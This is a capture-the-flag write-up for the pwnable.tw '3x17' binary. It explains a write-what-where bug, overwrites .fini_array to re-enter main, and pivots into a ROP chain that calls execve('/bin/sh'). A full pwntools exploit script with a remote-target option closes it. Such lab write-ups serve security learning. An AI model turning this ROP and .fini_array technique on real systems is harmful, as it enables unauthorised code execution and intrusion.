[PWNABLE.TW] - 3x17 | ✧ Alter ✧

writeup

Challenge Information

Reverse Engineering

1
alter ^ Sol in /mnt/e/sec/lab/pwnable.tw/3x17
2
$ checksec 3x17
3
[*] '/mnt/e/sec/lab/pwnable.tw/3x17/3x17'
4
    Arch:       amd64-64-little
5
    RELRO:      Partial RELRO
6
    Stack:      No canary found
7
    NX:         NX enabled
8
    PIE:        No PIE (0x400000)

First we check the binary with checksec and we see that it is not compiled with stack canaries, but it has NX enabled. This means that we can use ROP to exploit the binary. Let’s take a look at the IDA decompiler code (because this is a stripepd file so I just analyze some main functions).

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  int result; // eax
4
  char *what; // [rsp+8h] [rbp-28h]
5
  char where[24]; // [rsp+10h] [rbp-20h] BYREF
6
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]
7

8
  v6 = __readfsqword(0x28u);
9
  result = (unsigned __int8)++byte_4B9330;
10
  if ( byte_4B9330 == 1 )
11
  {
12
    print_string(1u, "addr:", 5uLL);
13
    read_input(0, where, 0x18uLL);
14
    what = (char *)(int)sub_40EE70(where);
15
    print_string(1u, "data:", 5uLL);
16
    read_input(0, what, 0x18uLL);
17
    return 0;
18
  }
19
  return result;
20
}

In general, the main function is very simple. It reads an address and a string from the user. The address is passed to the sub_40EE70 function, which is a simple function that just returns the address passed to it. The string is then written to that address. This is a classic case of a write-what-where primitive. But the problem here is we just can use write-what-where primitive one time and the program will exit.

1
// positive sp value has been detected, the output may be wrong!
2
void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3)
3
{
4
  __int64 v3; // rax
5
  int v4; // esi
6
  __int64 v5; // [rsp-8h] [rbp-8h] BYREF
7
  _UNKNOWN *retaddr; // [rsp+0h] [rbp+0h] BYREF
8

9
  v4 = v5;
10
  v5 = v3;
11
  sub_401EB0((unsigned int)main, v4, (unsigned int)&retaddr, (unsigned int)init, (unsigned int)fini, a3, (__int64)&v5);
12
  __halt();
13
}

So this is start function appears to be the very first entry point of the program (marked __noreturn because it never returns to its caller). It takes three arguments—likely passed by the OS loader—but immediately shuffles them into local variables (v5 and v4) before invoking a helper routine at sub_401EB0. That call is passed the address of main, the saved return address slot, and the addresses of the CRT initialization (init) and finalization (fini) functions, along with the original third argument. In other words, sub_401EB0 is presumably responsible for performing C runtime setup (running constructors, handling arguments, etc.) and then calling main. Finally, __halt() ensures that if for some reason execution ever returns, the CPU will stop, enforcing the __noreturn contract. And we pay attention to the 2 things fini and init, the init function will be called first when the program starts, the purpose is to set up some necessary things for the program to be able to execute. On the contrary, the fini function will be the function called when the program exit. This function will base on .fini_array to run 2 destructor functions which are:

_do_global_dtors_aux
foo_destructor

and it will call foo_destructor first then call _do_global_dtors_aux. This means that if we can control the execution flow, we can potentially manipulate the program’s termination process and execute arbitrary code before the program exits.

Exploit Strategies

So we know that the program will call fini function when it exits. And we can control which function the fini function will call via write-what-where primitive. So we can use this to our advantage. We can overwrite the .fini_array with our own address. This will allow us to have infinity write-what-where primitive. Then we just need to use ROP

Exploit

Our .fini_array is located at 0x4B40F0:

1
.fini_array:00000000004B40F0 ; Segment type: Pure data
2
.fini_array:00000000004B40F0 ; Segment permissions: Read/Write
3
.fini_array:00000000004B40F0 _fini_array     segment qword public 'DATA' use64
4
.fini_array:00000000004B40F0                 assume cs:_fini_array
5
.fini_array:00000000004B40F0                 ;org 4B40F0h
6
.fini_array:00000000004B40F0 off_4B40F0      dq offset sub_401B00    ; DATA XREF: init+4C↑o
7
.fini_array:00000000004B40F0                                         ; fini+8↑o
8
.fini_array:00000000004B40F8                 dq offset loc_401580
9
.fini_array:00000000004B40F8 _fini_array     ends

So to make sure the program executes main function infinity times, we will overwrite the *.fini_array+8 with the address of main function and *.fini_array with fini function. With that we can make the program run like this flow fini -> main -> fini -> again.

1
def write_what_where(where, what):
2
    sla(b'addr:', str(where).encode())
3
    sa(b'data:', what)
4

5
def exploit():
6

7
    fini_array = 0x4B40F0
8
    fini_array_caller = 0x0402960
9
    main = 0x401b6d
10

11
    write_what_where(fini_array,  p64(fini_array_caller) + p64(main))

After that we can use ROP to call execve syscall to spawn a shell. The idea, to put a ROP chain and execute it is using pivot, we can see that after calling the second entry of .fini_array which is main function after we overwrite it, the saved RBP will be 0x4b40f0 and then it continues call the first entry and continues the loop. So we can use leave; ret instruction to pop the RBP and then we can pivot the stack to our ROP chain. The ROP chain will look like this:

1
    pop_rdx = 0x446e35
2
    pop_rdi = 0x401696
3
    pop_rax = 0x41e4af
4
    pop_rsi = 0x406c30
5
    syscall = 0x4022b4
6
    leave_ret = 0x401c4b
7

8
    payload = flat(
9
        0,
10
        pop_rdi,
11
        fini_array + 0x200,
12
        pop_rax,
13
        0x3b,
14
        pop_rsi,
15
        0,
16
        syscall,
17
    )
18

19
    for i in range(0, len(payload), 0x8):
20
        write_what_where(fini_array + 0x10+i, payload[i:i+0x8])

Check the first ROP chain to make sure it is correct:

1
pwndbg> tel 0x4B40F0 20
2
00:0000│  0x4b40f0 —▸ 0x402960 ◂— push rbp
3
01:0008│  0x4b40f8 —▸ 0x401b6d ◂— push rbp
4
02:0010│  0x4b4100 ◂— 0
5
03:0018│  0x4b4108 —▸ 0x401696 ◂— pop rdi
6
04:0020│  0x4b4110 —▸ 0x4b42f0 ◂— 1
7
05:0028│  0x4b4118 —▸ 0x41e4af ◂— pop rax
8
06:0030│  0x4b4120 ◂— 0x3b /* ';' */
9
07:0038│  0x4b4128 —▸ 0x406c30 ◂— pop rsi
10
08:0040│  0x4b4130 ◂— 0
11
09:0048│  0x4b4138 —▸ 0x4022b4 ◂— syscall
12
0a:0050│  0x4b4140 —▸ 0x494580 ◂— 0x800000008
13
0b:0058│  0x4b4148 —▸ 0x4944a0 ◂— 0x100000001
14
0c:0060│  0x4b4150 —▸ 0x494220 ◂— 2
15
0d:0068│  0x4b4158 —▸ 0x4946e0 ◂— 0x100000005
16
0e:0070│  0x4b4160 —▸ 0x4944c0 ◂— 0x100000001
17
0f:0078│  0x4b4168 —▸ 0x4941f0 ◂— 0x100000001
18
10:0080│  0x4b4170 ◂— 0
19
11:0088│  0x4b4178 —▸ 0x4941e0 ◂— 0x500000005
20
12:0090│  0x4b4180 —▸ 0x4941c0 ◂— 0x100000001
21
13:0098│  0x4b4188 —▸ 0x494180 ◂— 0x100000001

Everything looks good, now we just need to put leave; ret instruction to pivot the to our ROP chain:

1
    # debug(attach=True)
2
    write_what_where(fini_array + 0x200, b'/bin/sh\0')
3
    write_what_where(fini_array, p64(leave_ret) + p64(pop_rdx))

Full exploit


38 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./3x17', checksec=False)
10
libc = exe.libc
11

12
def start(argv=[], *a, **kw):
13
    if args.GDB:
14
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, aslr=False, *a, **kw)
15
    elif args.REMOTE:
16
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
17
    elif args.DOCKER:
18
        p = remote("localhost", 5000)
19
        sleep(1)
20
        pid = int(check_output(["pidof", "-s", "/app/run"]))
21
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
22
        pause()
23
        return p
24
    else:
25
        return process([exe.path] + argv, *a, **kw)
26

27
gdbscript = '''
28
init-pwndbg
29

30
b *0x401BDC
31
b *0x401C29
32
b *0x401c4c
33

34
c
35
'''
36

37
p = start()
38

39
# ==================== EXPLOIT ====================
40

41
def write_what_where(where, what):
42
    sla(b'addr:', str(where).encode())
43
    sa(b'data:', what)
44

45
def exploit():
46

47
    fini_array = 0x4B40F0
48
    fini_array_caller = 0x0402960
49
    main = 0x401b6d
50

51
    write_what_where(fini_array,  p64(fini_array_caller) + p64(main))
52

53
    pop_rdx = 0x446e35
54
    pop_rdi = 0x401696
55
    pop_rax = 0x41e4af
56
    pop_rsi = 0x406c30
57
    syscall = 0x4022b4
58
    leave_ret = 0x401c4b
59

60
    payload = flat(
61
        0,
62
        pop_rdi,
63
        fini_array + 0x200,
64
        pop_rax,
65
        0x3b,
66
        pop_rsi,
67
        0,
68
        syscall,
69
    )
70

71
    for i in range(0, len(payload), 0x8):
72
        write_what_where(fini_array + 0x10+i, payload[i:i+0x8])
73

74

75
    # debug(attach=True)
76
    write_what_where(fini_array + 0x200, b'/bin/sh\0')
77
    write_what_where(fini_array, p64(leave_ret) + p64(pop_rdx))
78

79
    interactive()
80

81
if __name__ == '__main__':
82
    exploit()